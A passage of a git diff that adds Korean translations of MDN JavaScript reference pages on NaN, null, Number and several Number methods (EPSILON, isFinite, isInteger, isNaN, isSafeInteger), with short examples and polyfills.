+<p><code>NaN</code>을 반환하는 연산에는 다섯 가지 종류가 있습니다.</p>
+
+<ul>
+ <li>숫자로서 읽을 수 없음 (<code>parseInt("어쩌구")</code>, <code>Number(undefined)</code>)</li>
+ <li>결과가 허수인 수학 계산식 (<code>Math.sqrt(-1)</code>)</li>
+ <li>피연산자가 <code>NaN</code> (<code>7 ** NaN</code>)</li>
+ <li>정의할 수 없는 계산식 (<code>0 * Infinity</code>)</li>
+ <li>문자열을 포함하면서 덧셈이 아닌 계산식 (<code>"가" / 3</code>)</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="NaN_판별"><code>NaN</code> 판별</h3>
+
+<p><code>NaN</code>은 다른 모든 값과 비교(<code>==</code>, <code>!=</code>, <code>===</code>, <code>!==</code>)했을 때 같지 않으며, 다른 NaN과도 같지 않습니다. NaN의 판별은 {{jsxref("Number.isNaN()")}} 또는 {{jsxref("Global_Objects/isNaN", "isNaN()")}}을 사용하면 제일 분명하게 수행할 수 있습니다. 아니면, 오로지 NaN만이 자기자신과 비교했을 때 같지 않음을 이용할 수도 있습니다.</p>
+
+<pre class="brush: js notranslate">NaN === NaN; // false
+Number.NaN === NaN; // false
+isNaN(NaN); // true
+isNaN(Number.NaN); // true
+
+function valueIsNaN(v) { return v !== v; }
+valueIsNaN(1); // false
+valueIsNaN(NaN); // true
+valueIsNaN(Number.NaN); // true
+</pre>
+
+<p>그러나 <code>isNaN()</code>과 <code>Number.isNaN()</code>의 차이를 주의해야 합니다. <code>isNaN</code>은 현재 값이 <code>NaN</code>이거나, 숫자로 변환했을 때 <code>NaN</code>이 되면 참을 반환하지만, <code>Number.isNaN</code>은 현재 값이 <code>NaN</code>이어야만 참을 반환합니다.</p>
+
+<pre class="brush: js notranslate">isNaN('hello world'); // true
+Number.isNaN('hello world'); // false
+</pre>
+
+<p>덧붙여서, 일부 배열 메서드는 NaN을 찾을 수 없습니다.</p>
+
+<pre class="brush: js notranslate">let arr = [2, 4, NaN, 12];
+arr.indexOf(NaN); // -1 (false)
+arr.includes(NaN); // true
+arr.findIndex(n =&gt; Number.isNaN(n)); // 2</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-nan', 'NaN')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.NaN")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+ <li>{{jsxref("isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/null/index.html b/files/ko/web/javascript/reference/global_objects/null/index.html
new file mode 100644
index 0000000000..e69295c9f6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/null/index.html
@@ -0,0 +1,69 @@
+---
+title: 'null'
+slug: Web/JavaScript/Reference/Global_Objects/null
+tags:
+ - JavaScript
+ - Literal
+ - Primitive
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/null
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><strong><code>null</code></strong>은 JavaScript의 {{Glossary("Primitive", "원시 값")}} 중 하나로, 어떤 값이 의도적으로 비어있음을 표현하며 불리언 연산에서는 {{glossary("falsy", "거짓")}}으로 취급합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-null.html")}}</div>
+
+
+
+<h2 id="설명">설명</h2>
+
+<p><code>null</code>은 리터럴로서, <code>null</code>로 작성할 수 있습니다. <code>null</code>은 {{jsxref("undefined")}}와 같은 전역 객체의 식별자가 아닙니다. 대신 식별되지 않은 상태를 나타내며 해당 변수가 어떠한 객체도 가리키고 있지 않음을 표시합니다. API에서는 대개 객체를 기대했지만, 어떤 적합한 객체도 존재하지 않을 때 반환합니다.</p>
+
+<pre class="brush: js">// 정의되지 않고 초기화된 적도 없는 foo
+foo; //ReferenceError: foo is not defined
+
+// 존재하지만 값이나 자료형이 존재하지 않는 foo
+var foo = null;
+foo; //null
+</pre>
+
+<h3 id="null과_undefined의_차이"><code>null</code>과 <code>undefined</code>의 차이</h3>
+
+<p><code>null</code> 또는 <code>undefined</code>를 검사할 때, <a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">동등 연산자(==)와 일치 연산자(===)의 차이</a>를 주의하세요. 동등 연산자는 자료형 변환을 수행합니다.</p>
+
+<pre class="brush: js">typeof null // "object" (하위호환 유지를 위해 "null"이 아님)
+typeof undefined // "undefined"
+null === undefined // false
+null == undefined // true
+null === null // true
+null == null // true
+!null // true
+isNaN(1 + null) // false
+isNaN(1 + undefined) // true</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-null-value', 'null value')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.null")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/epsilon/index.html b/files/ko/web/javascript/reference/global_objects/number/epsilon/index.html
new file mode 100644
index 0000000000..730fd8ae87
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/epsilon/index.html
@@ -0,0 +1,61 @@
+---
+title: Number.EPSILON
+slug: Web/JavaScript/Reference/Global_Objects/Number/EPSILON
+tags:
+ - ECMAScript6
+ - JavaScript
+ - Number
+ - 속성
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/EPSILON
+---
+<div>{{JSRef}}</div>
+
+<p> <strong><code>Number.EPSILON</code></strong> 속성(property)은 {{jsxref("Number")}} 형으로 표현될 수 있는 1과 1보다 큰 값 중에서 가장 작은 값의, 차입니다.</p>
+
+<p>당신은 이 정적 속성에 접근하기 위하여 {{jsxref("Number")}} 객체를 생성할 필요가 없습니다. <code>Number.EPSILON</code>을 쓰면 됩니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>이 <code>EPSILON</code> 속성은 대략 <code>2.2204460492503130808472633361816E-16</code> 또는 <code>2<sup>-52</sup></code>의 값을 갖습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="동일성_확인하기">동일성 확인하기</h3>
+
+<pre class="brush: js">const x = 0.2, y = 0.3, z = 0.1;
+let equal = (Math.abs(x - y + z) &lt; Number.EPSILON);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number.epsilon', 'Number.EPSILON')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>최초로 정의됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.epsilon', 'Number.EPSILON')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Number.EPSILON")}}</p>
+
+<h2 id="관련된_문서">관련된 문서</h2>
+
+<ul>
+ <li>이 속성을 가지고 있는 {{jsxref("Number")}} 객체</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/index.html b/files/ko/web/javascript/reference/global_objects/number/index.html
new file mode 100644
index 0000000000..2a2592dcc8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/index.html
@@ -0,0 +1,177 @@
+---
+title: Number
+slug: Web/JavaScript/Reference/Global_Objects/Number
+tags:
+ - JavaScript
+ - Number
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number</code></strong> 객체는 숫자 값으로 작업할 수 있게 해주는 래퍼<sup>wrapper</sup> 객체입니다. <code>Number</code> 객체는 <strong><code>Number()</code> 생성자</strong>를 사용하여 만듭니다. 원시 숫자 자료형은 <strong><code>Number()</code> 함수</strong>를 사용해 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Number(<em>value</em>);
+var <em>a</em> = new Number('123'); // a === 123은 false
+var <em>b</em> = Number('123'); // b === 123은 true
+<em>a</em> instanceof Number; // true
+<em>b</em> instanceof Number; // false</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>생성할 객체의 숫자 값.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Number</code> 객체의 주된 용도는 다음과 같습니다.</p>
+
+<ul>
+ <li>만약 인수를 숫자로 변환할 수 없으면 {{jsxref("NaN")}}을 리턴합니다.</li>
+ <li>생성자로써 사용하지 않으면({{jsxref("Operators/new", "new")}} 연산자를 사용하지 않으면) <code>Number</code>를 사용하여 형변환을 할 수 있습니다.</li>
+</ul>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("Number.EPSILON")}}</dt>
+ <dd>두 개의 표현 가능한 숫자 사이의 최소 간격.</dd>
+ <dt>{{jsxref("Number.MAX_SAFE_INTEGER")}}</dt>
+ <dd>JavaScript에서 안전한 최대 정수. (<code>2<sup>53</sup> - 1</code>)</dd>
+ <dt>{{jsxref("Number.MAX_VALUE")}}</dt>
+ <dd>표현 가능한 가장 큰 양수.</dd>
+ <dt>{{jsxref("Number.MIN_SAFE_INTEGER")}}</dt>
+ <dd>JavaScript에서 안전한 최소 정수. (<code>-(2<sup>53</sup> - 1)</code>)</dd>
+ <dt>{{jsxref("Number.MIN_VALUE")}}</dt>
+ <dd>표현 가능한 가장 작은 양수. 즉, 0보다 크지만 0에 가장 가까운 양수.</dd>
+ <dt>{{jsxref("Number.NaN")}}</dt>
+ <dd>"숫자가 아님"을 나타내는 특별한 값.</dd>
+ <dt>{{jsxref("Number.NEGATIVE_INFINITY")}}</dt>
+ <dd>음의 무한대를 나타내는 특수한 값. 오버플로우 시 반환됩니다.</dd>
+ <dt>{{jsxref("Number.POSITIVE_INFINITY")}}</dt>
+ <dd>양의 무한대를 나타내는 특수한 값. 오버플로우 시 반환됩니다.</dd>
+ <dt>{{jsxref("Number.prototype")}}</dt>
+ <dd><code>Number</code> 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Number.isNaN()")}}</dt>
+ <dd>주어진 값이 <code>NaN</code>인지 확인합니다.</dd>
+ <dt>{{jsxref("Number.isFinite()")}}</dt>
+ <dd>주어진 값이 유한수 인지 확인합니다.</dd>
+ <dt>{{jsxref("Number.isInteger()")}}</dt>
+ <dd>주어진 값이 정수인지 확인합니다.</dd>
+ <dt>{{jsxref("Number.isSafeInteger()")}}</dt>
+ <dd>주어진 값이 안전한 정수(<code>-(2<sup>53</sup> - 1)</code>과 <code>2<sup>53</sup> - 1</code> 사이의 정수)인지 확인합니다.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Number.toInteger()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">전달 된 값을 평가하고 이를 정수(혹은 {{jsxref("Infinity", "Infinity")}})로 변환하는데 사용되지만, 제거되었습니다.</s></dd>
+ <dt>{{jsxref("Number.parseFloat()")}}</dt>
+ <dd>전역 객체 {{jsxref("parseFloat", "parseFloat()")}}와 동일한 값입니다.</dd>
+ <dt>{{jsxref("Number.parseInt()")}}</dt>
+ <dd>전역 객체 {{jsxref("parseInt", "parseInt()")}}와 동일한 값입니다.</dd>
+</dl>
+
+<h2 id="Number_인스턴스"><code>Number</code> 인스턴스</h2>
+
+<p>모든 <code>Number</code> 인스턴스는 {{jsxref("Number.prototype")}}를 상속합니다. <code>Number</code> 생성자의 프로토타입 객체는 모든 <code>Number</code> 인스턴스에 영향을 미치도록 수정할 수 있습니다.</p>
+
+<h3 id="메서드_2">메서드</h3>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/Number/prototype', 'Methods')}}</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Number_객체를_사용해_숫자형_변수에_할당"><code>Number</code> 객체를 사용해 숫자형 변수에 할당</h3>
+
+<p>다음 예제에서는 <code>Number</code> 객체의 속성을 사용하여, 여러 숫자 변수에 값을 할당합니다:</p>
+
+<pre class="brush: js">var biggestNum = Number.MAX_VALUE;
+var smallestNum = Number.MIN_VALUE;
+var infiniteNum = Number.POSITIVE_INFINITY;
+var negInfiniteNum = Number.NEGATIVE_INFINITY;
+var notANum = Number.NaN;
+</pre>
+
+<h3 id="Number의_정수_범위"><code>Number</code>의 정수 범위</h3>
+
+<p>다음 예제는 <code>Number</code> 객체가 표현할 수 있는 정수의 최소값과 최대값을 보여줍니다. (자세한 내용은 ECMAScript 표준, <em><a href="https://tc39.github.io/ecma262/#sec-ecmascript-language-types-number-type">6.1.6 The Number Type</a> 장을 참고하세요)</em></p>
+
+<pre class="brush: js">var biggestInt = 9007199254740992;
+var smallestInt = -9007199254740992;
+</pre>
+
+<p>JSON으로 직렬화한 데이터를 읽을 때, 위의 범위를 벗어나는 수는 JSON 분석기의 <code>Number</code> 형변환 시 손상될 수 있습니다. 이 때는 {{jsxref("String")}}을 대신 사용하는 것도 방법입니다.</p>
+
+<h3 id="Number를_사용해_Date_객체_숫자로_변환"><code>Number</code>를 사용해 <code>Date</code> 객체 숫자로 변환</h3>
+
+<p>다음 예제는 <code>Number</code>를 함수로 사용하여 {{jsxref("Date")}} 객체를 숫자 값으로 변환합니다.</p>
+
+<pre class="brush: js">var d = new Date('December 17, 1995 03:24:00');
+console.log(Number(d));
+</pre>
+
+<p><code>819199440000</code>가 기록됩니다.</p>
+
+<h3 id="숫자형_문자열에서_숫자로_변환">숫자형 문자열에서 숫자로 변환</h3>
+
+<pre class="brush: js">Number('123') // 123
+Number('12.3') // 12.3
+Number('123e-1') // 12.3
+Number('') // 0
+Number(null) // 0
+Number('0x11') // 17
+Number('0b11') // 3
+Number('0o11') // 9
+Number('foo') // NaN
+Number('100a') // NaN</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.1.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.7', 'Number')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number-objects', 'Number')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>New methods and properties added: ({{jsxref("Number.EPSILON", "EPSILON")}}, {{jsxref("Number.isFinite", "isFinite")}}, {{jsxref("Number.isInteger", "isInteger")}}, {{jsxref("Number.isNaN", "isNaN")}}, {{jsxref("Number.parseFloat", "parseFloat")}}, {{jsxref("Number.parseInt", "parseInt")}})</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number-objects', 'Number')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Number")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("Math")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/isfinite/index.html b/files/ko/web/javascript/reference/global_objects/number/isfinite/index.html
new file mode 100644
index 0000000000..13c76c4d8d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/isfinite/index.html
@@ -0,0 +1,90 @@
+---
+title: Number.isFinite()
+slug: Web/JavaScript/Reference/Global_Objects/Number/isFinite
+tags:
+ - JavaScript
+ - Method
+ - Number
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isFinite
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.isFinite()</code></strong> 메서드는 주어진 값이 유한수인지 판별합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-isfinite.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Number.isFinite(<var>value</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>유한수인지 판별할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>유한수 여부에 대한 {{jsxref("Boolean")}} 값.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>전역 함수 {{jsxref("isFinite", "isFinite()")}}와 비교했을 때, <code>Number.isFinite()</code> 메서드는 매개변수를 숫자로 변환하지 않습니다. 즉 값이 숫자이며 동시에 유한수일 때만 <code>true</code>를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">Number.isFinite(Infinity); // false
+Number.isFinite(NaN); // false
+Number.isFinite(-Infinity); // false
+
+Number.isFinite(0); // true
+Number.isFinite(2e64); // true
+
+Number.isFinite('0'); // false
+ // 전역함수 isFinite('0')라면 true
+Number.isFinite(null); // false
+ // 전역함수 isFinite(null)라면 true
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">if (Number.isFinite === undefined) Number.isFinite = function(value) {
+ return typeof value === 'number' &amp;&amp; isFinite(value);
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number.isfinite', 'Number.isInteger')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.isfinite', 'Number.isInteger')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Number.isFinite")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{jsxref("Number")}} 객체.</li>
+ <li>전역 함수 {{jsxref("isFinite")}}.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/isinteger/index.html b/files/ko/web/javascript/reference/global_objects/number/isinteger/index.html
new file mode 100644
index 0000000000..c2be9f56f1
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/isinteger/index.html
@@ -0,0 +1,96 @@
+---
+title: Number.isInteger()
+slug: Web/JavaScript/Reference/Global_Objects/Number/isInteger
+tags:
+ - JavaScript
+ - Method
+ - Number
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isInteger
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.isInteger()</code> </strong>메서드는 주어진 값이 정수인지 판별합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-isinteger.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Number.isInteger(v<var>alue</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>정수인지 확인하려는 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값의 정수 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>매개변수의 값이 정수면 <code>true</code>를, 아니면 <code>false</code>를 반환합니다. 값이 {{jsxref("NaN")}}이거나 {{jsxref("Infinity")}}여도 <code>false</code>를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre>Number.isInteger(0); // true
+Number.isInteger(1); // true
+Number.isInteger(-100000); // true
+Number.isInteger(99999999999999999999999); // true
+
+Number.isInteger(0.1); // false
+Number.isInteger(Math.PI); // false
+
+Number.isInteger(NaN); // false
+Number.isInteger(Infinity); // false
+Number.isInteger(-Infinity); // false
+Number.isInteger('10'); // false
+Number.isInteger(true); // false
+Number.isInteger(false); // false
+Number.isInteger([1]); // false
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">Number.isInteger = Number.isInteger || function(value) {
+ return typeof value === "number" &amp;&amp;
+  isFinite(value) &amp;&amp;
+  Math.floor(value) === value;
+};
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number.isinteger', 'Number.isInteger')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.isinteger', 'Number.isInteger')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Number.isInteger")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{jsxref("Number")}} 객체.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/isnan/index.html b/files/ko/web/javascript/reference/global_objects/number/isnan/index.html
new file mode 100644
index 0000000000..ff5ae793de
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/isnan/index.html
@@ -0,0 +1,100 @@
+---
+title: Number.isNaN()
+slug: Web/JavaScript/Reference/Global_Objects/Number/isNaN
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Number
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isNaN
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Number.isNaN()</code></strong> 메서드는 주어진 값이 {{jsxref("NaN")}}인지 판별합니다.</span> 기존부터 존재한 전역 {{jsxref("isNaN", "isNaN()")}} 함수의 더 엄격한 버전입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-isnan.html", "taller")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Number.isNaN(v<var>alue</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>{{jsxref("NaN")}}인지 판별할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값의 유형이 {{jsxref("Number")}}이고 값이 {{jsxref("NaN")}}이면 <code>true</code>, 아니면 <code>false</code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("NaN")}}이 <code>NaN</code>인지 계산할 때, 두 동일 연산자 <code>==</code>과 <code>===</code> 모두 <code>false</code>로 평가되므로 값의 <code>NaN</code> 여부를 알아내려면 <code>Number.isNaN()</code>이 필요합니다. 이 상황은 다른 모든 JavaScript와 다른 특별한 경우입니다.</p>
+
+<p>전역 {{jsxref("isNaN", "isNaN()")}} 함수와 달리, <code>Number.isNaN()</code>은 강제로 매개변수를 숫자로 변환하는 문제를 겪지 않습니다. 이는 이제 보통{{jsxref("NaN")}}으로 변환됐을 값이 안전하게 전달되지만, 실제로는 {{jsxref("NaN")}}과 같은 값이 아님을 의미합니다. 이는 또한 오직 숫자형이고 또한 {{jsxref("NaN")}}인 값만이 <code>true</code>를 반환함을 뜻합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">Number.isNaN(NaN); // true
+Number.isNaN(Number.NaN); // true
+Number.isNaN(0 / 0) // true
+
+// 예를 들면 이들은 global isNaN()으로는 true가 됐을 것임
+Number.isNaN("NaN"); // false
+Number.isNaN(undefined); // false
+Number.isNaN({}); // false
+Number.isNaN("blabla"); // false
+
+// 모두
+Number.isNaN(true);
+Number.isNaN(null);
+Number.isNaN(37);
+Number.isNaN("37");
+Number.isNaN("37.37");
+Number.isNaN("");
+Number.isNaN(" ");
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">Number.isNaN = Number.isNaN || function(value) {
+ return value !== value;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number.isnan', 'Number.isnan')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.isnan', 'Number.isnan')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Number.isNaN")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/issafeinteger/index.html b/files/ko/web/javascript/reference/global_objects/number/issafeinteger/index.html
new file mode 100644
index 0000000000..8c1af0e54d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/issafeinteger/index.html
@@ -0,0 +1,100 @@
+---
+title: Number.isSafeInteger()
+slug: Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Number
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.isSafeInteger()</code></strong> 메서드는 전달된 값이 안전한 정숫값인지 확인합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-issafeinteger.html")}}</div>
+
+
+
+<p>안전한 정숫값이란 다음과 같습니다.</p>
+
+<ul>
+ <li>IEEE-754 배정도수 형태로 정확히 표현될 수 있는 수이고</li>
+ <li>IEEE-754 표현에 맞게 반올림하는 다른 정수의 결과가 아닌 IEEE-754 표현.</li>
+</ul>
+
+<p>예를 들어, <code>2<sup>53</sup> - 1</code>은 안전한 정수입니다. 이 정수는 정확히 표현될 수 있으며, IEEE-754 반올림 모드에서 다른 정숫값이 이 값을 반올림하지 않습니다. 반면에, <code>2<sup>53</sup></code> 는 안전하지 않은 정수입니다. 이 정수는 정확히 IEEE-754로 표현될 수 있지만, 정수 <code>2<sup>53</sup> + 1</code>은 IEEE-754로 직접 표현될 수 없으며 가까운 수로 반올림하는 것과 0으로 반올림하는 것으로 <code>2<sup>53 </sup></code>을 반올림합니다.</p>
+
+<p>안전한 정숫값은 <code>-(2<sup>53</sup> - 1)</code> 부터 <code>2<sup>53</sup> - 1</code> 사이의 모든 정수값으로 구성됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Number.isSafeInteger(<var>testValue</var>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>testValue</code></dt>
+ <dd>안전한 정수인지 확인할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값이 안전한 정숫값인지 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">Number.isSafeInteger(3); // true
+Number.isSafeInteger(Math.pow(2, 53)); // false
+Number.isSafeInteger(Math.pow(2, 53) - 1); // true
+Number.isSafeInteger(NaN); // false
+Number.isSafeInteger(Infinity); // false
+Number.isSafeInteger('3'); // false
+Number.isSafeInteger(3.1); // false
+Number.isSafeInteger(3.0); // true
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">Number.isSafeInteger = Number.isSafeInteger || function (value) {
+ return Number.isInteger(value) &amp;&amp; Math.abs(value) &lt;= Number.MAX_SAFE_INTEGER;
+};
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-number.issafeinteger', 'Number.isSafeInteger')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.issafeinteger', 'Number.isSafeInteger')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
